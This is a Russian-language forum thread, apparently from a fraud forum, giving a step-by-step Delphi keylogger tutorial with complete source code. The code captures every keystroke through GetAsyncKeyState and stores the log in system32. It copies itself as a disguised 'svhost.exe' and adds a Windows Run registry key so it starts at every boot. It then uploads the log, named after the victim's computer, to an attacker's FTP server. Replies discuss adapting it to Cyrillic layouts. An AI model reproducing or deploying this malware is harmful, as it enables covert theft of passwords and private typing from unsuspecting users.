1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Keylogger на Delphi (шаг за шагом)

Тема в разделе "Исходные коды", создана пользователем webster, 18 май 2012.

  1. TopicStarter Overlay
    webster

    webster Гость

    Привет всем, сегодя я объясню как создать кейлоггер на делфи
    1. Запускаем Delphi
    Это должно выглядеть вот так
    [​IMG]
    2 поле для кода должно выглядеть так
    [​IMG]
    3 Используемые компоненты будут тут
    [​IMG]
    4.Замените эти компоненты замените следующими.


    Код:
    Код:
    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, ExtCtrls, StdCtrls, Inifiles,
    registry, sockets, Wininet;
    1. Заявляем переменные
    2. Переменные
    [​IMG]
    Добавте эти переменные в ваш код


    Код:
    Код:
    var
    Form1: TForm1;
    ini : tinifile;
    F: Textfile;
    final: string;
    reg: tregistry;
    Это в заявления


    Код:
    Код:
    Loopkey:Byte;
    Теперь поместите компоненты timer и memo на вашу форму.
    [​IMG]
    Дважды кликните на часы =)
    [​IMG]
    и вставьте этот код


    Код:
    Код:
    var
    Result:Longint;
    Enter:Integer;
    Period:Integer;
    Comma:Integer;
    Space:Integer;
    Colon:Integer;
    Slash:Integer;
    Backspace:Integer;
    Escape:Integer;
    Tab:Integer;
    Shift:Integer;
    Ctrl:Integer;
    Alt:Integer;
    Pause:Integer;
    CapsLock:integer;
    PageUP:Integer;
    PageDown:Integer;
    Fin:Integer;
    Home:Integer;
    LeftArrow:Integer;
    UpArrow:Integer;
    RightArrow:Integer;
    DownArrow:Integer;
    PrintScreen:Integer;
    Insert:Integer;
    Delete:Integer;
    WindowL:Integer;
    WindowR:Integer;
    Multiply:Integer;
    Add:Integer;
    Zero:Integer;
    Un:Integer;
    Deux:Integer;
    Trois:Integer;
    Quatre:Integer;
    Cinq:Integer;
    Six:Integer;
    Sept:Integer;
    Huit:Integer;
    Neuf:Integer;
    Separator:Integer;
    Soustraire:Integer;
    Point:Integer;
    Diviser:Integer;
    F1:Integer;
    F2:Integer;
    F3:Integer;
    F4:Integer;
    F5:Integer;
    F6:Integer;
    F7:Integer;
    F8:Integer;
    F9:Integer;
    F10:Integer;
    F11:Integer;
    F12:Integer;
    NumLock:Integer;
    StopScroll:Integer;
    Label KeyFound;
    begin
    
    Result:=0;
    Enter:=0;
    Period:=0;
    Comma:=0;
    Space:=0;
    Colon:=0;
    Slash:=0;
    Backspace:=0;
    Escape:=0;
    Tab:=0;
    Shift:=0;
    Ctrl:=0;
    Alt:=0;
    Pause:=0;
    CapsLock:=0;
    PageUP:=0;
    PageDown:=0;
    Fin:=0;
    Home:=0;
    LeftArrow:=0;
    UpArrow:=0;
    RightArrow:=0;
    DownArrow:=0;
    PrintScreen:=0;
    Insert:=0;
    Delete:=0;
    WindowL:=0;
    WindowR:=0;
    Multiply:=0;
    Add:=0;
    Zero:=0;
    Un:=0;
    Deux:=0;
    Trois:=0;
    Quatre:=0;
    Cinq:=0;
    Six:=0;
    Sept:=0;
    Huit:=0;
    Neuf:=0;
    Separator:=0;
    Soustraire:=0;
    Point:=0;
    Diviser:=0;
    F1:=0;
    F2:=0;
    F3:=0;
    F4:=0;
    F5:=0;
    F6:=0;
    F7:=0;
    F8:=0;
    F9:=0;
    F10:=0;
    F11:=0;
    F12:=0;
    NumLock:=0;
    StopScroll:=0;
    
    Result:=GetAsyncKeyState(27);
    If Result=-32767 then
    Begin
    Escape:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(109);
    If Result=-32767 then
    Begin
    Soustraire:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(110);
    If Result=-32767 then
    Begin
    Point:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(111);
    If Result=-32767 then
    Begin
    Diviser:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(112);
    If Result=-32767 then
    Begin
    F1:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(113);
    If Result=-32767 then
    Begin
    F2:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(114);
    If Result=-32767 then
    Begin
    F3:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(115);
    If Result=-32767 then
    Begin
    F4:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(116);
    If Result=-32767 then
    Begin
    F5:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(117);
    If Result=-32767 then
    Begin
    F6:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(118);
    If Result=-32767 then
    Begin
    F7:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(119);
    If Result=-32767 then
    Begin
    F8:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(120);
    If Result=-32767 then
    Begin
    F9:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(121);
    If Result=-32767 then
    Begin
    F10:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(122);
    If Result=-32767 then
    Begin
    F11:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(123);
    If Result=-32767 then
    Begin
    F12:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(144);
    If Result=-32767 then
    Begin
    NumLock:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(145);
    If Result=-32767 then
    Begin
    StopScroll:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(96);
    If Result=-32767 then
    Begin
    Zero:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(97);
    If Result=-32767 then
    Begin
    Un:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(98);
    If Result=-32767 then
    Begin
    Deux:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(99);
    If Result=-32767 then
    Begin
    Trois:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(100);
    If Result=-32767 then
    Begin
    Quatre:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(101);
    If Result=-32767 then
    Begin
    Cinq:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(102);
    If Result=-32767 then
    Begin
    Six:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(103);
    If Result=-32767 then
    Begin
    Sept:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(104);
    If Result=-32767 then
    Begin
    Huit:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(105);
    If Result=-32767 then
    Begin
    Neuf:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(108);
    If Result=-32767 then
    Begin
    Separator:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(91);
    If Result=-32767 then
    Begin
    WindowL:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(92);
    If Result=-32767 then
    Begin
    WindowR:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(106);
    If Result=-32767 then
    Begin
    Multiply:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(107);
    If Result=-32767 then
    Begin
    Add:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(46);
    If Result=-32767 then
    Begin
    Delete:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(45);
    If Result=-32767 then
    Begin
    Insert:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(42);
    If Result=-32767 then
    Begin
    PrintScreen:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(37);
    If Result=-32767 then
    Begin
    LeftArrow:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(38);
    If Result=-32767 then
    Begin
    UpArrow:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(39);
    If Result=-32767 then
    Begin
    RightArrow:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(40);
    If Result=-32767 then
    Begin
    DownArrow:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(36);
    If Result=-32767 then
    Begin
    Home:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(35);
    If Result=-32767 then
    Begin
    Fin:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(33);
    If Result=-32767 then
    Begin
    PageUP:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(34);
    If Result=-32767 then
    Begin
    PageDown:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(16);
    If Result=-32767 then
    Begin
    Shift:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(20);
    If Result=-32767 then
    Begin
    CapsLock:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(19);
    If Result=-32767 then
    Begin
    Pause:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(18);
    If Result=-32767 then
    Begin
    Alt:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(17);
    If Result=-32767 then
    Begin
    Ctrl:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(9);
    If Result=-32767 then
    Begin
    Tab:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(8);
    If Result=-32767 then
    Begin
    Backspace:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(190);
    If Result= -32767 then
    begin
    Period:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(13);
    if Result= -32767 then
    Begin
    Enter:=1;
    Goto Keyfound;
    End;
    
    Result:=GetAsyncKeyState(188);
    if Result= -32767 then
    begin
    Comma:=1;
    Goto keyFound;
    End;
    
    Result:=GetAsyncKeyState(32);
    if Result= -32767 then
    Begin
    Space:=1;
    Goto Keyfound;
    End;
    
    Result:=GetAsyncKeyState(186);
    if Result= -32767 then
    Begin
    Colon:=1;
    Goto Keyfound;
    End;
    
    Result:=GetAsyncKeyState(191);
    if Result= -32767 then
    Begin
    Slash:=1;
    Goto Keyfound;
    End;
    
    Loopkey:=41;
    repeat
    Result:=GetAsyncKeyState(Loopkey);
    if Result= -32767 then
    Begin
    Memo1.Text:= Memo1.Text + Chr(Loopkey);
    End
    Else
    Loopkey:=Loopkey+1;
    until Loopkey = 91;
    
    Exit;
    
    KeyFound:
    
    if Escape=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Escape]';
    Escape:=0;
    Exit;
    End;
    
    if F1=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F1]';
    F1:=0;
    Exit;
    End;
    
    if F2=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F2]';
    F2:=0;
    Exit;
    End;
    
    if F3=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F3]';
    F3:=0;
    Exit;
    End;
    
    if F4=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F4]';
    F4:=0;
    Exit;
    End;
    
    if F5=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F5]';
    F5:=0;
    Exit;
    End;
    
    if F6=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F6]';
    F6:=0;
    Exit;
    End;
    
    if F7=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F7]';
    F7:=0;
    Exit;
    End;
    
    if F8=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F8]';
    F8:=0;
    Exit;
    End;
    
    if F9=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F9]';
    F9:=0;
    Exit;
    End;
    
    if F10=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F10]';
    F10:=0;
    Exit;
    End;
    
    if F11=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F11]';
    F11:=0;
    Exit;
    End;
    
    if F12=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[F12]';
    F12:=0;
    Exit;
    End;
    
    if NumLock=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Numlock]';
    NumLock:=0;
    Exit;
    End;
    
    if StopScroll=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[StopScroll]';
    StopScroll:=0;
    Exit;
    End;
    
    if Zero=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '0';
    Zero:=0;
    Exit;
    End;
    
    if Un=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '1';
    Un:=0;
    Exit;
    End;
    
    if Deux=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '2';
    Deux:=0;
    Exit;
    End;
    
    if Trois=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '3';
    Trois:=0;
    Exit;
    End;
    
    if Quatre=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '4';
    Quatre:=0;
    Exit;
    End;
    
    if Cinq=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '5';
    Cinq:=0;
    Exit;
    End;
    
    if Six=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '6';
    Six:=0;
    Exit;
    End;
    
    if Sept=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '7';
    Sept:=0;
    Exit;
    End;
    
    if Huit=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '8';
    Huit:=0;
    Exit;
    End;
    
    if Neuf=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '9';
    Neuf:=0;
    Exit;
    End;
    
    if Separator=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Separator]';
    Separator:=0;
    Exit;
    End;
    
    if WindowL=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Windows Gauche]';
    WindowL:=0;
    Exit;
    End;
    
    if WindowR=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Windows Droite]';
    WindowR:=0;
    Exit;
    End;
    
    if Multiply=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '*';
    Multiply:=0;
    Exit;
    End;
    
    if Add=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '+';
    Add:=0;
    Exit;
    End;
    
    if Soustraire=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '-';
    Soustraire:=0;
    Exit;
    End;
    
    if Diviser=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '/';
    Diviser:=0;
    Exit;
    End;
    
    if Point=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '.';
    Point:=0;
    Exit;
    End;
    
    if Delete=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Delete]';
    Delete:=0;
    Exit;
    End;
    
    if Insert=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Insert]';
    Insert:=0;
    Exit;
    End;
    
    if PrintScreen=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Print]';
    PrintScreen:=0;
    Exit;
    End;
    
    if Fin=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Fin]';
    Fin:=0;
    Exit;
    End;
    
    if PageUP=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[PageUP]';
    PageUP:=0;
    Exit;
    End;
    
    if PageDown=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[PageDown]';
    PageDown:=0;
    Exit;
    End;
    
    if Ctrl=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Ctrl]';
    Ctrl:=0;
    Exit;
    End;
    
    if Alt=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Alt]';
    Alt:=0;
    Exit;
    End;
    
    if Home=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Home]';
    Home:=0;
    Exit;
    End;
    
    if Shift=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Shift]';
    Shift:=0;
    Exit;
    End;
    
    if LeftArrow=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Gauche]';
    LeftArrow:=0;
    Exit;
    End;
    
    if UpArrow=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Haut]';
    UpArrow:=0;
    Exit;
    End;
    
    if RightArrow=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Droite]';
    RightArrow:=0;
    Exit;
    End;
    
    if DownArrow=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Bas]';
    DownArrow:=0;
    Exit;
    End;
    
    if CapsLock=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[CapsLock]';
    CapsLock:=0;
    Exit;
    End;
    
    if Pause=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Pause]';
    Pause:=0;
    Exit;
    End;
    
    if Tab=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Tab]';
    Tab:=0;
    Exit;
    End;
    
    if Backspace=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[BackSpace]';
    Backspace:=0;
    Exit;
    End;
    
    if Enter=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '[Enter]';
    Enter:=0;
    Exit;
    End;
    
    if Period=1 Then
    Begin
    Memo1.Text:=Memo1.Text + '.';
    Period:=0;
    Exit;
    End;
    
    if Comma=1 then
    begin
    Memo1.Text:=Memo1.Text+',';
    Comma:=0;
    Exit;
    End;
    
    if Space=1 Then
    Begin
    Memo1.Text:=Memo1.Text+' ';
    Space:=0;
    Exit;
    End;
    
    if Colon=1 then
    Begin
    Memo1.Text:=Memo1.Text+':';
    Colon:=0;
    Exit;
    End;
    
    if Slash=1 Then
    begin
    Memo1.Text:=Memo1.Text + '/';
    Slash:=0;
    Exit;
    End;
    Запоминает нажатые кнопки.
    Теперь добавим ещё одни часы и добавим ещё код


    Код:
    Код:
    ini := tinifile.Create('C:\windows\system32\Log.ini');
    ini.WriteString('Log','Log',Memo1.Text);
    ini.Free;
    Memo1.Clear;
    uploadnow;
    Этот код будет сохранять историю в log.ini
    Теперь мы хотим, чтобы кейлоггер запускался при запуске windows
    Дважды кликаем на форму и вставляем код


    Код:
    Код:
    begin
    var path: string;
    begin
    path := application.ExeName;
    copyfile(pchar(path),'C:\windows\system32\svhost.e xe',true);
    Reg := TRegistry.Create;
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVer sion\Run',false);
    reg.writeString('svhost','C:\windows\system32\svho st.exe');
    reg.CloseKey;
    Reg.Free;
    end;
    Теперь мы хотим чтобы наши логи сохранялись на ftp
    Надо вставить наши данные (ftp сервер, логин, пароль)
    Вставляйте все процедуры и функции после implementation


    Код:
    Код:
    implementation
    {$R *.dfm}

    Код:
    Код:
    procedure uploadnow;
    var
    intconn,intopen : hinternet;
    port:integer;
    host,username,password:string;
    file_to_upload,file_upload_name:string;
    begin
    port:=21;
    host:= 'Ваш ftp сервер';
    username:='ftp логин';
    password:='пароль';
    
    file_to_upload:='C:\windows\system32\log.ini';
    file_upload_name:= Computername +'.txt';
    
    intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0);
    intconn := internetconnect(intopen,pchar(host),port,pchar(use rname),pchar(password),INTERNET_SERVICE_FTP,INTERN ET_FLAG_PASSIVE,0);
    
    sleep(100);
    
    FtpCreateDirectory(intconn,pchar('t0xic'));
    FtpSetCurrentDirectory(intconn,pchar('t0xic'));
    
    ftpputfile(intconn,pchar(file_to_upload),pchar(fil e_upload_name),FTP_TRANSFER_TYPE_UNKNOWN,0);
    
    if getlasterror() = 0 then
    internetclosehandle(intopen);
    end;
    Должно выглядеть вот так:


    Код:
    Код:
    implementation
    
    {$R *.dfm}
    function ComputerName: string;
    var
    lpBuffer: array[0..MAX_COMPUTERNAME_LENGTH] of char;
    nSize: dword;
    begin
    nSize:= Length(lpBuffer);
    if GetComputerName(lpBuffer, nSize) then
    result:= lpBuffer
    else
    result:= '';
    end;
    procedure uploadnow;
    var
    intconn,intopen : hinternet;
    port:integer;
    host,username,password:string;
    file_to_upload,file_upload_name:string;
    begin
    port:=21;
    host:= 'Your ftp server';
    username:='your ftp username';
    password:='your ftp password';
    
    file_to_upload:='C:\windows\system32\log.ini';
    file_upload_name:= Computername+'.txt';
    
    intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0);
    intconn := internetconnect(intopen,pchar(host),port,pchar(use rname),pchar(password),INTERNET_SERVICE_FTP,INTERN ET_FLAG_PASSIVE,0);
    
    sleep(100);
    
    FtpCreateDirectory(intconn,pchar('t0xic'));
    FtpSetCurrentDirectory(intconn,pchar('t0xic'));
    
    ftpputfile(intconn,pchar(file_to_upload),pchar(fil e_upload_name),FTP_TRANSFER_TYPE_UNKNOWN,0);
    
    if getlasterror() = 0 then
    internetclosehandle(intopen);
    end;
    Устанавливаем в часах
    timer1.Interval := 1 ;
    timer2.interval := 90000 ;
    На этом всё.


    Автор:Yuri.toxic
    Перевод:=<4APAEV>=
    ЗЫ немного не понял про компонент memo, так что напишите что и как, если не сложно.
     
    • Like Like x 4
    Метки:
  2. TopicStarter Overlay
    mr.Ve4niy_SooN

    mr.Ve4niy_SooN Гость

    Для русской раскладки не подойдёт. Нежно проверять раскладку, если ENG, то всё норм, если RUS, то менять значения кнопочек...
    Могу осуществить впринцепи.
     
    • Like Like x 1
  3. TopicStarter Overlay
    by_Trojan

    by_Trojan Гость

    А смысл? есть PuntoSwitcher... На раз-два можно изменить латинецу на кирилецу
     
    • Like Like x 1

Поделиться этой страницей

Загрузка...